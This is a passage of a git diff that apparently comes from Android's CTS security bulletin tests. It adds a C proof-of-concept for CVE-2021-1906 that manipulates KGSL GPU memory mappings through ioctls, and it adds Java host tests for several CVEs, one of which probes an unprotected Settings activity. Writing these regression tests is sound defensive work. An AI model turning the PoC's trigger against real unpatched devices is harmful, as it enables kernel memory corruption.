+struct kgsl_map_user_mem {
+ int fd;
+ unsigned long gpuaddr;
+ size_t len;
+ size_t offset;
+ unsigned long hostptr;
+ enum kgsl_user_mem_type memtype;
+ unsigned int flags;
+};
+
+#define IOCTL_KGSL_MAP_USER_MEM \
+ _IOWR(KGSL_IOC_TYPE, 0x15, struct kgsl_map_user_mem)
+
+struct kgsl_sharedmem_free {
+ unsigned long gpuaddr;
+};
+
+#define IOCTL_KGSL_SHAREDMEM_FREE \
+ _IOW(KGSL_IOC_TYPE, 0x21, struct kgsl_sharedmem_free)
+
+struct kgsl_gpumem_alloc {
+ unsigned long gpuaddr;
+ size_t size;
+ unsigned int flags;
+};
+
+#define IOCTL_KGSL_GPUMEM_ALLOC \
+ _IOWR(KGSL_IOC_TYPE, 0x2f, struct kgsl_gpumem_alloc)
+
+struct kgsl_gpumem_alloc_id {
+ unsigned int id;
+ unsigned int flags;
+ size_t size;
+ size_t mmapsize;
+ unsigned long gpuaddr;
+ unsigned long __pad[2];
+};
+
+#define IOCTL_KGSL_GPUMEM_ALLOC_ID \
+ _IOWR(KGSL_IOC_TYPE, 0x34, struct kgsl_gpumem_alloc_id)
+
+struct kgsl_gpumem_get_info {
+ unsigned long gpuaddr;
+ unsigned int id;
+ unsigned int flags;
+ size_t size;
+ size_t mmapsize;
+ unsigned long useraddr;
+ unsigned long __pad[4];
+};
+
+#define IOCTL_KGSL_GPUMEM_GET_INFO \
+ _IOWR(KGSL_IOC_TYPE, 0x36, struct kgsl_gpumem_get_info)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/poc.c
new file mode 100644
index 0000000..f8eaee4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/poc.c
@@ -0,0 +1,173 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/*
+ * CVE-2021-1906
+ */
+
+#include <fcntl.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+#include "../includes/common.h"
+#include "msm_kgsl.h"
+
+static void *code_page_cpu_addr = MAP_FAILED;
+static unsigned long code_page_gpu_addr = 0;
+
+#define int64 int64_t
+#define EXPLOIT_VULN_ADDR 0xdff00000
+
+unsigned int ctx_id = 0;
+
+int gpu_mem_alloc_id(int fd, int size, int flags,
+ struct kgsl_gpumem_alloc_id *alloc) {
+ int ret = -1;
+ alloc->flags = flags;
+ alloc->size = size;
+
+ ret = ioctl(fd, IOCTL_KGSL_GPUMEM_ALLOC_ID, alloc);
+ return ret;
+}
+
+int gpu_sharedmem_free(int fd, unsigned long gpu_addr) {
+ struct kgsl_sharedmem_free addr;
+ int ret = -1;
+ addr.gpuaddr = gpu_addr;
+ ret = ioctl(fd, IOCTL_KGSL_SHAREDMEM_FREE, &addr);
+ return ret;
+}
+
+unsigned long gpu_mem_alloc(int fd, int size, unsigned int flags) {
+ struct kgsl_gpumem_alloc alloc = {0};
+ alloc.size = size;
+ alloc.flags = flags;
+
+ if (ioctl(fd, IOCTL_KGSL_GPUMEM_ALLOC, &alloc) < 0) {
+ return -1;
+ }
+ return alloc.gpuaddr;
+}
+
+int gpu_mem_get_info_from_id(int fd, int id,
+ struct kgsl_gpumem_get_info *info) {
+ int ret = -1;
+ info->id = id;
+ info->gpuaddr = 0;
+ ret = ioctl(fd, IOCTL_KGSL_GPUMEM_GET_INFO, info);
+ return ret;
+}
+
+int kgsl_init() {
+ int kgsl = open("/dev/kgsl-3d0", O_RDWR | O_LARGEFILE);
+ if (kgsl < 0) {
+ return -1;
+ }
+
+ struct kgsl_drawctxt_create ctxc;
+ ctxc.flags = 0x1010D2;
+ ctxc.drawctxt_id = 0;
+ if (ioctl(kgsl, IOCTL_KGSL_DRAWCTXT_CREATE, &ctxc) < 0) {
+ return -1;
+ }
+ ctx_id = ctxc.drawctxt_id;
+ return kgsl;
+}
+
+int gpu_map_user_mem(int fd, uintptr_t addr, size_t size, size_t offset,
+ unsigned int flags, unsigned long *gpu_addr) {
+ struct kgsl_map_user_mem user_mem = {0};
+ int result = 0;
+
+ user_mem.fd = -1;
+ user_mem.gpuaddr = 0;
+ user_mem.len = size;
+ user_mem.offset = offset;
+ user_mem.hostptr = addr;
+ user_mem.flags = flags;
+ user_mem.memtype = KGSL_USER_MEM_TYPE_ADDR;
+
+ result = ioctl(fd, IOCTL_KGSL_MAP_USER_MEM, &user_mem);
+ if (gpu_addr) {
+ *gpu_addr = user_mem.gpuaddr;
+ }
+ return result;
+}
+
+int create_code_page(int fd, int size, void **cpu_addr,
+ unsigned long *gpu_addr) {
+ struct kgsl_gpumem_alloc_id alloc = {0};
+ struct kgsl_gpumem_get_info info = {0};
+ void *cpu_mapping = MAP_FAILED;
+
+ if (gpu_mem_alloc_id(fd, size,
+ KGSL_MEMFLAGS_USE_CPU_MAP | KGSL_MEMFLAGS_GPUREADONLY |
+ KGSL_MEMTYPE_COMMAND,
+ &alloc) < 0) {
+ return -1;
+ }
+
+ cpu_mapping =
+ mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, alloc.id << 12);
+ if (cpu_mapping == MAP_FAILED) {
+ return -1;
+ }
+
+ if (gpu_mem_get_info_from_id(fd, alloc.id, &info) < 0) {
+ return -1;
+ }
+
+ *cpu_addr = cpu_mapping;
+ *gpu_addr = info.gpuaddr;
+ return 0;
+}
+
+void trigger(int fd, uintptr_t start, uintptr_t end) {
+ void *hostptr = mmap((void *)start, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE,
+ MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
+ mprotect((void *)((uintptr_t)hostptr + PAGE_SIZE), PAGE_SIZE, PROT_NONE);
+
+ gpu_map_user_mem(fd, (uintptr_t)hostptr, end - start, 0,
+ KGSL_MEMFLAGS_USE_CPU_MAP, NULL);
+ munmap(hostptr, 2 * PAGE_SIZE);
+}
+
+int main(void) {
+ int kgsl_fd = kgsl_init();
+ unsigned long gpu_addr = 0;
+ unsigned long next_gpu_addr = 0;
+
+ FAIL_CHECK(!(kgsl_fd < 0));
+
+ if (create_code_page(kgsl_fd, 4 * PAGE_SIZE, &code_page_cpu_addr,
+ &code_page_gpu_addr) < 0) {
+ close(kgsl_fd);
+ return EXIT_FAILURE;
+ }
+
+ next_gpu_addr = gpu_mem_alloc(kgsl_fd, PAGE_SIZE, 0);
+ gpu_sharedmem_free(kgsl_fd, next_gpu_addr);
+ trigger(kgsl_fd, next_gpu_addr, EXPLOIT_VULN_ADDR);
+ gpu_addr = gpu_mem_alloc(kgsl_fd, 0x600000, 0);
+
+ close(kgsl_fd);
+ return (gpu_addr == EXPLOIT_VULN_ADDR) ? EXIT_VULNERABLE : EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java
similarity index 74%
rename from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java
rename to hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java
index 4df0f6f..0990cd4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java
@@ -17,20 +17,20 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0684 extends SecurityTestCase {
+public class CVE_2018_9410 extends SecurityTestCase {
/**
- * b/179839665
- * Vulnerability Behaviour: SIGSEGV in Self
+ * b/77822336
+ * Vulnerability Behaviour: SIGSEGV in self
*/
- @AsbSecurityTest(cveBugId = 179839665)
+ @AsbSecurityTest(cveBugId = 77822336)
@Test
- public void testPocCVE_2021_0684() throws Exception {
- AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0684", null, getDevice());
+ public void testPocCVE_2018_9410() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9410", null, getDevice());
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java
similarity index 72%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java
index 4df0f6f..8f37185 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java
@@ -1,4 +1,4 @@
-/**
+/*
* Copyright (C) 2021 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
@@ -17,20 +17,16 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0684 extends SecurityTestCase {
+public class CVE_2021_0490 extends SecurityTestCase {
- /**
- * b/179839665
- * Vulnerability Behaviour: SIGSEGV in Self
- */
- @AsbSecurityTest(cveBugId = 179839665)
+ @AsbSecurityTest(cveBugId = 183464868)
@Test
- public void testPocCVE_2021_0684() throws Exception {
- AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0684", null, getDevice());
+ public void testPocCVE_2021_0490() throws Exception {
+ AdbUtils.runPocNoOutput("CVE-2021-0490", getDevice(), 60);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java
new file mode 100644
index 0000000..80fa239
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0956 extends SecurityTestCase {
+
+ /**
+ * b/189942532
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @AsbSecurityTest(cveBugId = 189942532)
+ @Test
+ public void testPocCVE_2021_0956() throws Exception {
+ pocPusher.only64();
+ ITestDevice device = getDevice();
+ AdbUtils.assumeHasNfc(device);
+ assumeIsSupportedNfcDevice(device);
+ String binaryName = "CVE-2021-0956";
+ String signals[] = {CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, device);
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
new file mode 100644
index 0000000..a242904
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
@@ -0,0 +1,54 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertFalse;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import java.util.regex.Pattern;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0965 extends BaseHostJUnit4Test {
+ private static final String TEST_PKG = "android.security.cts.CVE_2021_0965";
+ private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ private static final String TEST_APP = "CVE-2021-0965.apk";
+
+ @Before
+ public void setUp() throws Exception {
+ uninstallPackage(getDevice(), TEST_PKG);
+ }
+
+ /**
+ * b/194300867
+ */
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 194300867)
+ @Test
+ public void testPocCVE_2021_0965() throws Exception {
+ installPackage(TEST_APP, new String[0]);
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission");
+ String errorLog = "Vulnerable to b/194300867 !!";
+ String logcat = AdbUtils.runCommandLine("logcat -d AndroidRuntime:E *:S", getDevice());
+ Pattern pattern = Pattern.compile(errorLog, Pattern.MULTILINE);
+ assertFalse(pattern.matcher(logcat).find());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java
similarity index 69%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java
index 4df0f6f..bfa056b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java
@@ -13,24 +13,26 @@
* See the License for the specific language governing permissions and
* limitations under the License.
*/
-
package android.security.cts;
+import static org.junit.Assert.*;
+import static org.junit.Assume.*;
+
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0684 extends SecurityTestCase {
+public class CVE_2021_1906 extends SecurityTestCase {
/**
- * b/179839665
- * Vulnerability Behaviour: SIGSEGV in Self
+ * CVE-2021-1906
*/
- @AsbSecurityTest(cveBugId = 179839665)
+ @AsbSecurityTest(cveBugId = 178810049)
@Test
- public void testPocCVE_2021_0684() throws Exception {
- AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0684", null, getDevice());
+ public void testPocCVE_2021_1906() throws Exception {
+ assumeTrue(containsDriver(getDevice(), "/dev/kgsl-3d0"));
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-1906", getDevice(), 60);
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/DeviceTest.java
index 233fdb4..bb6631a 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/DeviceTest.java
@@ -19,7 +19,6 @@
import org.junit.Test;
import org.junit.runner.RunWith;
-import android.content.ActivityNotFoundException;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
@@ -32,7 +31,6 @@
import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
import static org.junit.Assert.assertFalse;
-import static org.junit.Assume.assumeNoException;
@RunWith(AndroidJUnit4.class)
public class DeviceTest {
@@ -56,12 +54,6 @@
intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(intent);
- try{
- context.startActivity(intent);
- } catch(ActivityNotFoundException e){
- assumeNoException(e);
- return;
- }
//wait for poc app to complete (it takes about 6 seconds)
SystemClock.sleep(20000);
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java
index 987b161..0f42461 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java
@@ -1,5 +1,6 @@
package android.security.cts.CVE_2021_0921;
+import android.content.ActivityNotFoundException;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
@@ -9,6 +10,8 @@
import java.io.File;
+import static org.junit.Assume.assumeNoException;
+
public class Trigger {
private static final String TAG = "TAG_2021_0921.Triggger";
private Context mContext;
@@ -35,7 +38,12 @@
String authTypes[] = {"android.security.cts"};
intent.putExtra("account_types", authTypes);
- mContext.startActivity(intent);
+
+ try {
+ mContext.startActivity(intent);
+ } catch (ActivityNotFoundException e) {
+ // activity does not exist on this device
+ }
Log.d(TAG, "accountSettings() end");
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
new file mode 100644
index 0000000..ab1f627
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+android_test_helper_app {
+ name: "CVE-2021-0965",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/AndroidManifest.xml
new file mode 100644
index 0000000..ae1d2f9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_0965"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <application
+ android:allowBackup="true"
+ android:label="CVE-2021-0965"
+ android:supportsRtl="true">
+
+ <activity android:exported="true" android:name=".PocActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_0965" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/res/layout/activity_main.xml
new file mode 100644
index 0000000..a85bec9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:id="@+id/drawableview"
+ android:layout_width="match_parent"
+ android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
new file mode 100644
index 0000000..e709d0a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
@@ -0,0 +1,56 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0965;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import android.content.Intent;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.UiDevice;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Before
+ public void startMainActivityFromHomeScreen() {
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+ try {
+ device.wakeUp();
+ } catch (Exception e) {
+ }
+ device.pressHome();
+ }
+
+ @Test
+ public void testPermission() {
+ try {
+ Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.setClassName("com.android.settings",
+ "com.android.settings.bluetooth.BluetoothPairingDialog");
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ getApplicationContext().startActivity(intent);
+ } catch (SecurityException e) {
+ return;
+ }
+
+ /* If SecurityException is not thrown, it indicates absence of fix */
+ throw new RuntimeException("Vulnerable to b/194300867 !!");
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/PocActivity.java
new file mode 100644
index 0000000..04baf77
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/PocActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0965;
+
+import android.app.Activity;
+
+public class PocActivity extends Activity {
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/AtomTestCase.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/AtomTestCase.java
index 8b628cf..d547c0d 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/AtomTestCase.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/AtomTestCase.java
@@ -79,6 +79,7 @@
import java.util.Queue;
import java.util.Random;
import java.util.Set;
+import java.util.StringTokenizer;
import java.util.function.Function;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
@@ -926,7 +927,16 @@
*/
protected boolean hasFeature(String featureName, boolean requiredAnswer) throws Exception {
final String features = getDevice().executeShellCommand("pm list features");
- boolean hasIt = features.contains(featureName);
+ StringTokenizer featureToken = new StringTokenizer(features, "\n");
+ boolean hasIt = false;
+
+ while (featureToken.hasMoreTokens()) {
+ if (("feature:" + featureName).equals(featureToken.nextToken())) {
+ hasIt = true;
+ break;
+ }
+ }
+
if (hasIt != requiredAnswer) {
LogUtil.CLog.w("Device does " + (requiredAnswer ? "not " : "") + "have feature "
+ featureName);
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java
index d907249..ee1d0e0 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java
@@ -75,6 +75,7 @@
private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
private static final String FEATURE_WATCH = "android.hardware.type.watch";
+ private static final String FEATURE_TWM = "com.google.clockwork.hardware.traditional_watch_mode";
private static final String FEATURE_WIFI = "android.hardware.wifi";
private static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
@@ -340,6 +341,7 @@
}
public void testBatterySaverModeStateChangedAtom() throws Exception {
+ if (DeviceUtils.hasFeature(getDevice(), FEATURE_TWM)) return;
if (DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)) return;
// Setup, turn off battery saver.
turnBatterySaverOff();
diff --git a/hostsidetests/theme/assets/S/140dpi.zip b/hostsidetests/theme/assets/31/S/140dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/140dpi.zip
rename to hostsidetests/theme/assets/31/S/140dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/180dpi.zip b/hostsidetests/theme/assets/31/S/180dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/180dpi.zip
rename to hostsidetests/theme/assets/31/S/180dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/200dpi.zip b/hostsidetests/theme/assets/31/S/200dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/200dpi.zip
rename to hostsidetests/theme/assets/31/S/200dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/220dpi.zip b/hostsidetests/theme/assets/31/S/220dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/220dpi.zip
rename to hostsidetests/theme/assets/31/S/220dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/260dpi.zip b/hostsidetests/theme/assets/31/S/260dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/260dpi.zip
rename to hostsidetests/theme/assets/31/S/260dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/280dpi.zip b/hostsidetests/theme/assets/31/S/280dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/280dpi.zip
rename to hostsidetests/theme/assets/31/S/280dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/300dpi.zip b/hostsidetests/theme/assets/31/S/300dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/300dpi.zip
rename to hostsidetests/theme/assets/31/S/300dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/340dpi.zip b/hostsidetests/theme/assets/31/S/340dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/S/340dpi.zip
rename to hostsidetests/theme/assets/31/S/340dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/S/360dpi.zip b/hostsidetests/theme/assets/31/S/360dpi.zip
similarity index 100%
